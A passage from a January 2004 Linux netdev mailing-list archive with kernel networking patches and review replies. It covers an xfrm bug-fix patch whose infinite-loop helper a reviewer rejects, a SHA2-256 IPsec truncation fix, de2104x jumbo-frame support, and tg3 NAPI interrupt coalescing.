15:02:48.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/ipv4/xfrm4_policy.c 2004-01-09 16:11:57.000000000 -0800 @@ -162,7 +162,7 @@ error: if (dst) - dst_free(dst); + dst_bundle_free(dst); return err; } diff -ruN linux-2.6.0-rc2-bk6.org/net/ipv6/xfrm6_policy.c linux-2.6.0-rc2-bk6/net/ipv6/xfrm6_policy.c --- linux-2.6.0-rc2-bk6.org/net/ipv6/xfrm6_policy.c 2004-01-09 16:43:45.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/ipv6/xfrm6_policy.c 2004-01-09 16:44:03.000000000 -0800 @@ -184,7 +184,7 @@ error: if (dst) - dst_free(dst); + dst_bundle_free(dst); return err; } diff -ruN linux-2.6.0-rc2-bk6.org/net/key/af_key.c linux-2.6.0-rc2-bk6/net/key/af_key.c --- linux-2.6.0-rc2-bk6.org/net/key/af_key.c 2004-01-05 13:45:47.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/key/af_key.c 2004-01-09 12:41:30.000000000 -0800 @@ -1283,6 +1283,7 @@ static int pfkey_get(struct sock *sk, struct sk_buff *skb, struct sadb_msg *hdr, void **ext_hdrs) { + __u8 proto; struct sk_buff *out_skb; struct sadb_msg *out_hdr; struct xfrm_state *x; @@ -1297,6 +1298,7 @@ return -ESRCH; out_skb = pfkey_xfrm_state2msg(x, 1, 3); + proto = x->id.proto; xfrm_state_put(x); if (IS_ERR(out_skb)) return PTR_ERR(out_skb); @@ -1304,7 +1306,7 @@ out_hdr = (struct sadb_msg *) out_skb->data; out_hdr->sadb_msg_version = hdr->sadb_msg_version; out_hdr->sadb_msg_type = SADB_DUMP; - out_hdr->sadb_msg_satype = pfkey_proto2satype(x->id.proto); + out_hdr->sadb_msg_satype = pfkey_proto2satype(proto); out_hdr->sadb_msg_errno = 0; out_hdr->sadb_msg_reserved = 0; out_hdr->sadb_msg_seq = hdr->sadb_msg_seq; diff -ruN linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c --- linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_policy.c 2004-01-09 12:42:53.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/xfrm/xfrm_policy.c 2004-01-09 17:31:05.000000000 -0800 @@ -694,6 +694,16 @@ static int stale_bundle(struct dst_entry *dst); +void dst_bundle_free(struct dst_entry *dst) +{ + struct dst_entry *next; + + while (dst) { + next = dst->child; + dst_free(dst); + } +} + /* Main function: finds/creates a bundle for given flow. * * At the moment we eat a raw IP route. Mostly to speed up lookups @@ -799,9 +809,16 @@ goto restart; } } - if (err) + if (err < 0) goto error; - } else if (nx == 0) { + /* + * Save number of xfrm_state's found/created for both + * the nx == 0 check below as well as to pass the + * right value to xfrm_bundle_create(). + */ + nx = err; + } + if (nx == 0) { /* Flow passes not transformed. */ xfrm_pol_put(policy); return 0; @@ -827,8 +844,8 @@ write_unlock_bh(&policy->lock); xfrm_pol_put(policy); - if (dst) - dst_free(dst); + if (dst) /* 'dead' freed dst->next list only */ + dst_bundle_free(dst); goto restart; } dst->next = policy->bundles; diff -ruN linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_user.c linux-2.6.0-rc2-bk6/net/xfrm/xfrm_user.c --- linux-2.6.0-rc2-bk6.org/net/xfrm/xfrm_user.c 2004-01-09 12:57:42.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/xfrm/xfrm_user.c 2004-01-09 12:59:00.000000000 -0800 @@ -241,6 +241,7 @@ return x; error: + x->km.state = XFRM_STATE_DEAD; xfrm_state_put(x); error_no_put: *errp = err; From davem@pizda.ninka.net Fri Jan 9 20:54:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 20:54:47 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0A4sSTa022993 for ; Fri, 9 Jan 2004 20:54:29 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA07194; Fri, 9 Jan 2004 20:48:10 -0800 Date: Fri, 9 Jan 2004 20:48:08 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com, kumarkr@us.ibm.com Subject: Re: [PATCH] Bugs in xfrm Message-Id: <20040109204808.3db77be6.davem@redhat.com> In-Reply-To: References: <20031108223049.36651f8d.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 944 Lines: 28 On Fri, 9 Jan 2004 17:40:03 -0800 (PST) Krishna Kumar wrote: > These changes compile cleanly, but I couldn't test since these are > corner cases. Please let me know if this can be applied. I am sending > as one patch file for now instead of multiple files as they all small. Maybe you should actually try to test these changes before I think about applying them, for example: > +void dst_bundle_free(struct dst_entry *dst) > +{ > + struct dst_entry *next; > + > + while (dst) { > + next = dst->child; > + dst_free(dst); > + } > +} Explain to me how that won't loop forever if given a non-NULL dst? Next, this dst_bundle_free() thing is totally not needed as far as I can tell. When dst_free() is made, the top-level of the bundle's dst gets added to the garbage collection list, the garbage collection properly walks the children to process the whole bundle. Please redo this patch and please test it this time :) From davem@pizda.ninka.net Fri Jan 9 20:57:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 20:57:52 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0A4vdTa023398 for ; Fri, 9 Jan 2004 20:57:39 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA07225; Fri, 9 Jan 2004 20:51:19 -0800 Date: Fri, 9 Jan 2004 20:51:19 -0800 From: "David S. Miller" To: Michal Ludvig Cc: netdev@oss.sgi.com Subject: Re: [PATCH] sha2-256 truncation Message-Id: <20040109205119.71482788.davem@redhat.com> In-Reply-To: <3FFE7E98.6060201@logix.cz> References: <3FFE6B72.9030808@logix.cz> <3FFE7E98.6060201@logix.cz> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 584 Lines: 15 On Fri, 09 Jan 2004 11:12:40 +0100 Michal Ludvig wrote: > Michal Ludvig told me that: > > > the attached trivial patch corrects the truncation size of computed > > hashes that are used in IPsec ESP/AH packets for SHA2-256. All other > > hash algorithms use 96 bits as well as does SuperFreeS/WAN and FreeBSD > > also for SHA2-256. Only the native Linux sha2-256 used 128 bits what led > > to incompatibility with other IPsec implementations. > > Oops, sorry. I sent a reversed patch originally. Please use this one > instead. Patch applied, thanks Michal. From rask@sygehus.dk Sat Jan 10 04:14:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 04:14:50 -0800 (PST) Received: from 0x50a17250.albnxx15.adsl-dhcp.tele.dk (0x50a144d5.albnxx15.adsl-dhcp.tele.dk [80.161.68.213]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ACEMTa006942 for ; Sat, 10 Jan 2004 04:14:23 -0800 Received: by 0x50a17250.albnxx15.adsl-dhcp.tele.dk (Postfix, from userid 500) id C5BFF19308; Sat, 10 Jan 2004 00:33:07 +0100 (CET) Date: Sat, 10 Jan 2004 00:33:07 +0100 From: Rask Ingemann Lambertsen To: netdev@oss.sgi.com, linux-net@vger.kernel.org Cc: jgarzik@pobox.com Subject: [PATCH] [EXPERIMENTAL] 2.6: de2104x.c jumbo frames, take two Message-ID: <20040110003304.A3788@sygehus.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 2324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev Content-Length: 996 Lines: 26 Hi. Attached is a patch which enables jumbo frames on DS2104x based boards. The maximum supported MTU is 4066 bytes (but see below). Room for a VLAN tag is included. The maximum supported MTU is about twice as large as in my first jumbo frame patch because both buffers of RX and TX descriptors are used (just like the winbond-840 driver on TX). The media tables have been adjusted to disable the RX watchdog and TX jabber timers. Tested with a DS21041 and an MTU of 3544 on BNC media with an NE3200 board at the other end without problems. Known bugs and problems: 1. Although the DS21143 manual says that the RX frame descriptor size field is 14 bits wide, the DS21041 seems to use only 11 bits. This means that frames larger than 1518+2048 bytes can not be told apart from frames larger than 1518 bytes but smaller than 2048 bytes. As a result, setting the MTU larger than 3544 will cause problems. Please report success or failure with this patch. -- Regards, Rask Ingemann Lambertsen From rask@sygehus.dk Sat Jan 10 05:47:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 05:47:56 -0800 (PST) Received: from 0x50a144d5.albnxx15.adsl-dhcp.tele.dk (0x50a144d5.albnxx15.adsl-dhcp.tele.dk [80.161.68.213]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0ADldTa011772 for ; Sat, 10 Jan 2004 05:47:40 -0800 Received: by 0x50a17250.albnxx15.adsl-dhcp.tele.dk (Postfix, from userid 500) id B324819E7B; Sat, 10 Jan 2004 14:47:38 +0100 (CET) Date: Sat, 10 Jan 2004 14:47:38 +0100 From: Rask Ingemann Lambertsen To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH] [EXPERIMENTAL] 2.6: de2104x.c jumbo frames, take two Message-ID: <20040110144738.A1385@sygehus.dk> References: <20040110003304.A3788@sygehus.dk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="zhXaljGHf11kAtnf" Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040110003304.A3788@sygehus.dk>; from rask@sygehus.dk on Sat, Jan 10, 2004 at 12:33:07AM +0100 X-archive-position: 2325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rask@sygehus.dk Precedence: bulk X-list: netdev Content-Length: 6944 Lines: 211 --zhXaljGHf11kAtnf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sat, Jan 10, 2004 at 12:33:07AM +0100, Rask Ingemann Lambertsen wrote: > Hi. > > Attached is a patch which enables jumbo frames on DS2104x based boards. And then I forgot to include the patch. :-( Regards, Rask Ingemann Lambertsen --zhXaljGHf11kAtnf Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: attachment; filename="de2104x-mtu.patch" Content-Transfer-Encoding: 8bit --- linux-2.6.0/drivers/net/tulip/de2104x.c-før-mtu Sun Dec 21 14:31:04 2003 +++ linux-2.6.0/drivers/net/tulip/de2104x.c Mon Jan 5 02:01:15 2004 @@ -19,7 +19,6 @@ like dl2k.c/sundance.c * Constants (module parms?) for Rx work limit * Complete reset on PciErr - * Jumbo frames / dev->change_mtu * Adjust Rx FIFO threshold and Max Rx DMA burst on Rx FIFO error * Adjust Tx FIFO threshold and Max Tx DMA burst on Tx FIFO error * Implement Tx software interrupt mitigation via @@ -36,6 +35,7 @@ #include #include #include +#include #include #include #include @@ -67,11 +67,15 @@ static int debug = -1; MODULE_PARM (debug, "i"); MODULE_PARM_DESC (debug, "de2104x bitmapped message enable number"); +/* Each descriptor has two buffers. */ +#define DESC_BUF_SZ_MAX 2044 +#define PKT_BUF_SZ_MAX 4088 /* Maximum Rx buffer size. */ + /* Set the copy breakpoint for the copy-only-tiny-buffer Rx structure. */ #if defined(__alpha__) || defined(__arm__) || defined(__hppa__) \ || defined(__sparc_) || defined(__ia64__) \ || defined(__sh__) || defined(__mips__) -static int rx_copybreak = 1518; +static int rx_copybreak = PKT_BUF_SZ_MAX; #else static int rx_copybreak = 100; #endif @@ -356,12 +360,12 @@ static const char * const media_name[DE_ * TP AUTO(unused), BNC(unused), AUI, TP, TP FD*/ static u16 t21040_csr13[] = { 0, 0, 0x8F09, 0x8F01, 0x8F01, }; static u16 t21040_csr14[] = { 0, 0, 0x0705, 0xFFFF, 0xFFFD, }; -static u16 t21040_csr15[] = { 0, 0, 0x0006, 0x0000, 0x0000, }; +static u16 t21040_csr15[] = { 0, 0, 0x0017, 0x0011, 0x0011, }; /* 21041 transceiver register settings: TP AUTO, BNC, AUI, TP, TP FD*/ static u16 t21041_csr13[] = { 0xEF01, 0xEF09, 0xEF09, 0xEF01, 0xEF09, }; static u16 t21041_csr14[] = { 0xFFFF, 0xF7FD, 0xF7FD, 0x6F3F, 0x6F3D, }; -static u16 t21041_csr15[] = { 0x0008, 0x0006, 0x000E, 0x0008, 0x0008, }; +static u16 t21041_csr15[] = { 0x0019, 0x0017, 0x001F, 0x0019, 0x0019, }; static inline unsigned long @@ -374,6 +378,12 @@ msec_to_jiffies(unsigned long ms) #define dr32(reg) readl(de->regs + (reg)) #define dw32(reg,val) writel((val), de->regs + (reg)) +static inline u32 opts2_sizes (uint total_size) +{ + if (total_size <= DESC_BUF_SZ_MAX) + return (total_size); + return (((total_size - DESC_BUF_SZ_MAX) << 11) | DESC_BUF_SZ_MAX); +} static void de_rx_err_acct (struct de_private *de, unsigned rx_tail, u32 status, u32 len) @@ -422,7 +432,9 @@ static void de_rx (struct de_private *de if (status & DescOwn) break; - len = ((status >> 16) & 0x7ff) - 4; + len = ((status >> 16) & 0x3fff) - 4; + if ((len <= 1514) && (status & RxErrLong)) + len += 2048; mapping = de->rx_skb[rx_tail].mapping; if (unlikely(drop)) { @@ -430,7 +442,7 @@ static void de_rx (struct de_private *de goto rx_next; } - if (unlikely((status & 0x38008300) != 0x0300)) { + if (unlikely((status & 0x38004b53) != 0x0300)) { de_rx_err_acct(de, rx_tail, status, len); goto rx_next; } @@ -483,11 +495,13 @@ static void de_rx (struct de_private *de rx_next: de->rx_ring[rx_tail].opts1 = cpu_to_le32(DescOwn); if (rx_tail == (DE_RX_RING_SIZE - 1)) - de->rx_ring[rx_tail].opts2 = - cpu_to_le32(RingEnd | de->rx_buf_sz); + de->rx_ring[rx_tail].opts2 = cpu_to_le32( + RingEnd | opts2_sizes (de->rx_buf_sz)); else - de->rx_ring[rx_tail].opts2 = cpu_to_le32(de->rx_buf_sz); + de->rx_ring[rx_tail].opts2 = cpu_to_le32( + opts2_sizes (de->rx_buf_sz)); de->rx_ring[rx_tail].addr1 = cpu_to_le32(mapping); + de->rx_ring[rx_tail].addr2 = cpu_to_le32(mapping + DESC_BUF_SZ_MAX); rx_tail = NEXT_RX(rx_tail); } @@ -632,9 +646,10 @@ static int de_start_xmit (struct sk_buff flags |= RingEnd; if (!tx_free || (tx_free == (DE_TX_RING_SIZE / 2))) flags |= TxSwInt; - flags |= len; + flags |= opts2_sizes (len); txd->opts2 = cpu_to_le32(flags); txd->addr1 = cpu_to_le32(mapping); + txd->addr2 = cpu_to_le32(mapping + DESC_BUF_SZ_MAX); de->tx_skb[entry].skb = skb; de->tx_skb[entry].mapping = mapping; @@ -770,6 +785,7 @@ static void __de_set_rx_mode (struct net dummy_txd->opts2 = (entry == (DE_TX_RING_SIZE - 1)) ? cpu_to_le32(RingEnd) : 0; dummy_txd->addr1 = 0; + dummy_txd->addr2 = 0; /* Must set DescOwned later to avoid race with chip */ @@ -788,6 +804,7 @@ static void __de_set_rx_mode (struct net else txd->opts2 = cpu_to_le32(SetupFrame | sizeof (de->setup_frame)); txd->addr1 = cpu_to_le32(mapping); + txd->addr2 = cpu_to_le32(0); wmb(); txd->opts1 = cpu_to_le32(DescOwn); @@ -1277,7 +1294,9 @@ static int de_init_hw (struct de_private static int de_refill_rx (struct de_private *de) { unsigned i; + u32 opts2; + opts2 = opts2_sizes (de->rx_buf_sz); for (i = 0; i < DE_RX_RING_SIZE; i++) { struct sk_buff *skb; @@ -1294,11 +1313,11 @@ static int de_refill_rx (struct de_priva de->rx_ring[i].opts1 = cpu_to_le32(DescOwn); if (i == (DE_RX_RING_SIZE - 1)) de->rx_ring[i].opts2 = - cpu_to_le32(RingEnd | de->rx_buf_sz); + cpu_to_le32(RingEnd | opts2); else - de->rx_ring[i].opts2 = cpu_to_le32(de->rx_buf_sz); + de->rx_ring[i].opts2 = cpu_to_le32(opts2); de->rx_ring[i].addr1 = cpu_to_le32(de->rx_skb[i].mapping); - de->rx_ring[i].addr2 = 0; + de->rx_ring[i].addr2 = cpu_to_le32(de->rx_skb[i].mapping + DESC_BUF_SZ_MAX); } return 0; @@ -1386,6 +1405,8 @@ static int de_open (struct net_device *d printk(KERN_DEBUG "%s: enabling interface\n", dev->name); de->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); + if (de->rx_buf_sz > PKT_BUF_SZ_MAX) + de->rx_buf_sz = PKT_BUF_SZ_MAX; rc = de_alloc_rings(de); if (rc) { @@ -1476,6 +1497,18 @@ static void de_tx_timeout (struct net_de netif_wake_queue(dev); } +static int de_change_mtu (struct net_device *dev, int mtu) +{ + if (netif_running (dev)) + return (-EBUSY); + + if (mtu < 0 || mtu > PKT_BUF_SZ_MAX - VLAN_ETH_HLEN - 4) + return (-EINVAL); + + dev->mtu = mtu; + return (0); +} + static void __de_get_regs(struct de_private *de, u8 *buf) { int i; @@ -1980,6 +2013,7 @@ static int __devinit de_init_one (struct dev->ethtool_ops = &de_ethtool_ops; dev->tx_timeout = de_tx_timeout; dev->watchdog_timeo = TX_TIMEOUT; + dev->change_mtu = de_change_mtu; dev->irq = pdev->irq; --zhXaljGHf11kAtnf-- From kumarkr@us.ibm.com Sat Jan 10 10:34:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 10:34:47 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0AIYRTa023287 for ; Sat, 10 Jan 2004 10:34:33 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0AIYLrE106950; Sat, 10 Jan 2004 13:34:21 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0AIYJjd142510; Sat, 10 Jan 2004 11:34:20 -0700 Subject: Re: [PATCH] Bugs in xfrm To: "David S. Miller" Cc: krkumar@us.ibm.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Krishna Kumar Date: Sat, 10 Jan 2004 10:33:22 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/10/2004 11:34:20 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE484DFCD6FFA8f9e8a93df938690918c07BBE484DFCD6FFA" Content-Disposition: inline X-archive-position: 2326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2475 Lines: 61 --0__=07BBE484DFCD6FFA8f9e8a93df938690918c07BBE484DFCD6FFA Content-type: text/plain; charset=US-ASCII > Explain to me how that won't loop forever if given a non-NULL dst? Oops, forgot the dst = next in the loop :-) > Next, this dst_bundle_free() thing is totally not needed as far as I can > tell. When dst_free() is made, the top-level of the bundle's dst gets added > to the garbage collection list, the garbage collection properly walks the > children to process the whole bundle. The garbage collector (called via __dst_free) takes dst_garbage_list and goes through the dst->next pointer. But dst_destroy() seems to destroy stuff on the dst->child list (I missed the part that the first dst has a refcnt of zero and all others on child have refcnt of 1). So this is not needed. > Please redo this patch and please test it this time :) Are the other "bugs" correct :-) Or should I send separate patches this time ? thanks, - KK --0__=07BBE484DFCD6FFA8f9e8a93df938690918c07BBE484DFCD6FFA Content-type: text/html; charset=US-ASCII Content-Disposition: inline

> Explain to me how that won't loop forever if given a non-NULL dst?

Oops, forgot the dst = next in the loop :-)

> Next, this dst_bundle_free() thing is totally not needed as far as I can
> tell. When dst_free() is made, the top-level of the bundle's dst gets added
> to the garbage collection list, the garbage collection properly walks the
> children to process the whole bundle.

The garbage collector (called via __dst_free) takes dst_garbage_list and
goes through the dst->next pointer. But dst_destroy() seems to destroy stuff
on the dst->child list (I missed the part that the first dst has a refcnt of
zero and all others on child have refcnt of 1). So this is not needed.

> Please redo this patch and please test it this time :)

Are the other "bugs" correct :-) Or should I send separate patches this time ?

thanks,

- KK
--0__=07BBE484DFCD6FFA8f9e8a93df938690918c07BBE484DFCD6FFA-- From davem@pizda.ninka.net Sat Jan 10 12:17:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 12:18:13 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0AKHx6H026789 for ; Sat, 10 Jan 2004 12:17:59 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA21517; Sat, 10 Jan 2004 12:11:34 -0800 Date: Sat, 10 Jan 2004 12:11:34 -0800 From: "David S. Miller" To: Krishna Kumar Cc: krkumar@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH] Bugs in xfrm Message-Id: <20040110121134.08481951.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 162 Lines: 6 On Sat, 10 Jan 2004 10:33:22 -0800 Krishna Kumar wrote: > Or should I send separate patches this time ? I think this would be a good idea. From jgarzik@pobox.com Sat Jan 10 17:16:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 17:17:19 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B1Gw6H007754 for ; Sat, 10 Jan 2004 17:16:59 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34253 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfUDp-0005MQ-8s; Sun, 11 Jan 2004 01:16:57 +0000 Message-ID: <4000A3F0.9070701@pobox.com> Date: Sat, 10 Jan 2004 20:16:32 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] bugfixes for dgrs.c References: <20040108165343.7ed94da9@linux.local> In-Reply-To: <20040108165343.7ed94da9@linux.local> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jgarzik@pobox.com Sat Jan 10 17:16:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 17:16:28 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B1GE6H007728 for ; Sat, 10 Jan 2004 17:16:15 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34252 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfUD6-0005MB-HI; Sun, 11 Jan 2004 01:16:12 +0000 Message-ID: <4000A3C3.3040709@pobox.com> Date: Sat, 10 Jan 2004 20:15:47 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: netdev@oss.sgi.com, mikep@linuxtr.net.sgi.com, linux-tr@linuxtr.net.sgi.com Subject: Re: [PATCH] Mark IBM TR driver as not 64 bit clean References: <20040109090908.GA1772@averell> In-Reply-To: <20040109090908.GA1772@averell> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 17 Lines: 3 applied to 2.6 From jgarzik@pobox.com Sat Jan 10 17:50:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 17:50:27 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B1oD6H009169 for ; Sat, 10 Jan 2004 17:50:13 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34270 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfUk0-0005aM-0i; Sun, 11 Jan 2004 01:50:12 +0000 Message-ID: <4000ABBA.50601@pobox.com> Date: Sat, 10 Jan 2004 20:49:46 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Robert Olsson CC: Greg Banks , "David S. Miller" , Linux Network Development list Subject: Re: [PATCH] make tg3 NAPI support configurable References: <3FE2F3A7.2A109F28@melbourne.sgi.com> <16354.64258.364153.488309@robur.slu.se> In-Reply-To: <16354.64258.364153.488309@robur.slu.se> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1354 Lines: 35 Robert Olsson wrote: > Greg Banks writes: > > > I've been having some issues with irq rates and cpu usage in the > > tg3 driver. In short, on Altix machines they're far too high. > > It turned out that reverting the driver to its pre-NAPI interrupt > > coalescing scheme made the situation a lot better. > > > > How much better? Running 8192 byte UDP packets across gige > > with NAPI takes 99.5% of a CPU to service 29,100 irqs per second. > > With the pre-NAPI code the figures are 36.0% CPU and 4880 irq/sec. > > Similar improvements are seen for non-fragmented UDP and for TCP. > > Hello! > > You can use coalescing with NAPI as well, e1000 and other drivers > are doing this. This will give you same interrupt rates as non- > NAPI at low load and "polling" without any interrupts at high load. Yes, this is something I've been meaning to add to tg3 for months now. Adding some about of hardware intr mitigation -in addition to- NAPI will not only help on the NAPI "hard case" of moderate load and a super-fast CPU, but also help avoid certain silicon bugs... > Furthermore NAPI can be extended to schedule dev->poll even for TX- > interrupts. There is pacth for e1000 doing this. We see about 5-8% > overall system packet improvement with this. tg3 already schedules for TX, so we've got that part covered :) Jeff From jgarzik@pobox.com Sat Jan 10 19:40:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 10 Jan 2004 19:41:09 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0B3ek6H011767 for ; Sat, 10 Jan 2004 19:40:47 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34377 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AfWSz-0006HI-Eb; Sun, 11 Jan 2004 03:40:45 +0000 Message-ID: <4000C5A3.5070101@pobox.com> Date: Sat, 10 Jan 2004 22:40:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Linux Kernel , Netdev CC: Andrew Morton Subject: [NETDEV] experimental net driver queue updated Content-Type: multipart/mixed; boundary="------------010204090309070907070407" X-archive-position: 2331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 5279 Lines: 148 This is a multi-part message in MIME format. --------------010204090309070907070407 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit The 250+ patch queue was getting way too big to manage, so using BK I split things up locally into a number of buckets. This allowed me to much more easily digest Al Viro's latest patch flood, as well as get things into much better shape for submission to upstream (as soon as the tree re-opens)... some changes were definitely more experimental than others, and won't go to 